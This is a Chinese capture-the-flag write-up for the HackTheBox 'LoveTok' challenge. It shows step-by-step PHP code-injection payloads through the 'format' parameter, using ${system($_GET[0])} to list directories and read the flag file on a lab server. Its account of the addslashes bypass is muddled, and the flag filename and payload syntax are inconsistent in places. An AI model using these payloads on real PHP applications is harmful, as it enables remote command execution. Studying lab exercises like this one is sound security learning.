HackTheBox-LoveTok
博客地址,还请大家多多支持 芜风
0x01 简单分析靶场
靶场界面如图所示
f12 一下发现一串 SHA512 的序列
sha512-qTXRIMyZIFb8iQcfjXWCO8+M5Tbc38Qi5WzdPOYZHIlZpzBHG3L3by84BBBOiRGiEb7KKtAOAs5qYdUiZiQNNQ==
先放着吧,说不定到时候就用到了。
提示语也挺…… 嗯…… crazy 的。
点击下面的按钮,生成了 Find Love 的时间,没什么用,再去扫一下目录吧。
等待扫目录的时间,将其源代码拉下来看看,可能又要代码审计了。
0x02 代码审计
单刀直入,寻找 flag
找遍所有文件,并未发现与 flag 有关的地方,这莫非是靠目录遍历打?或者是 上传 webshell 吗。思路不太确定,再看看代码吧
未寻找到 flag,需要静下心来代码审计
既然没有获取到 flag 的代码,那么确定下来漏洞/思路是命令执行,最终构造出来的 payload 一定是这样的
xxxxxx/cat/flag
看完了整个文件夹当中的 php 文件,在 TimeModel 函数下找到了可控变量 format
先简单介绍一下在 format 之前的
addslashes
函数
php addslashes 函数的作用是在预定义的字符前面加上反斜杠,这些预定义字符包括:
单引号(’);双引号(");反斜杠(\);NULL
addslashes 函数经常使用在向数据库插入数据时,比如有一个字符串
$str=“my name’s wxp”;
现在要将这个字符串插入到数据库表中,由于该字符串有单引号’,这样很可能与 MySQL 拼接字符串的单引号’冲突,导致 SQL 语句不正确,也就无法正常执行插入操作,此时我们需要使用 addslashes 函数处理这个字符串。如:
$str=“my name’s wxp”;
echo addslashes($str);//输出my name’s wxp
如果字符串$str="my name’s wxp"是使用POST和GET提交的数据,这个时候插入数据库中的数据是带反斜杠的,可知 addslashes 只是在 POST 和 GET 数据插入数据库时才会把反斜杠同时插入到数据库,其他情况下不会将反斜杠插入到数据库。
利用可控制变量 format
去查阅了一下 php 当中一般的命令执行 payload,并且浅探一下原理
php GET 请求当中,可以通过?id=${phpinfo()}
这种简单的方式进行命令执行
当我们使用${}
时,内部的函数会被执行,一般出现这种现象都是后台未对传进的参数进行过滤/防御/校验。从而才会导致命令执行漏洞。
我们先编写 poc,在这一 poc 中,直接就执行 phpinfo 的命令了
http://167.172.52.221:30001/?format=${phpinfo()}
证明存在命令执行漏洞了,接着构造一下外带数据传参执行(这里直接命令执行是行不通的)。
http://167.172.52.221:30001/?format=${system($_GET(0))}&0=ls
原本想着 ls 直接搞出 flag 了,可谁知半路杀出个程咬金,命令执行失败了,这时猛地想到 format 之前有一个 addslashes 函数。所以,直接加上/
即可
http://167.172.52.221:30001/?format=${system($_GET(0))}&0=ls /
成功执行
最上面一行有一个 flagRPYIs,那么尝试 cat flagRPYIs,进一步构造 payload
http://167.172.52.221:30001/?format=${system($_GET[0])}&0=cat+/flagRYPIs
这里的/
要写在前面。
成功过了 ~
0x03 小结
本题是一道简单的 php 命令执行,难点在于 addslashes 这一函数很容易被大家所忽视,这也给实战渗透时的命令执行绕过提供了一些思维。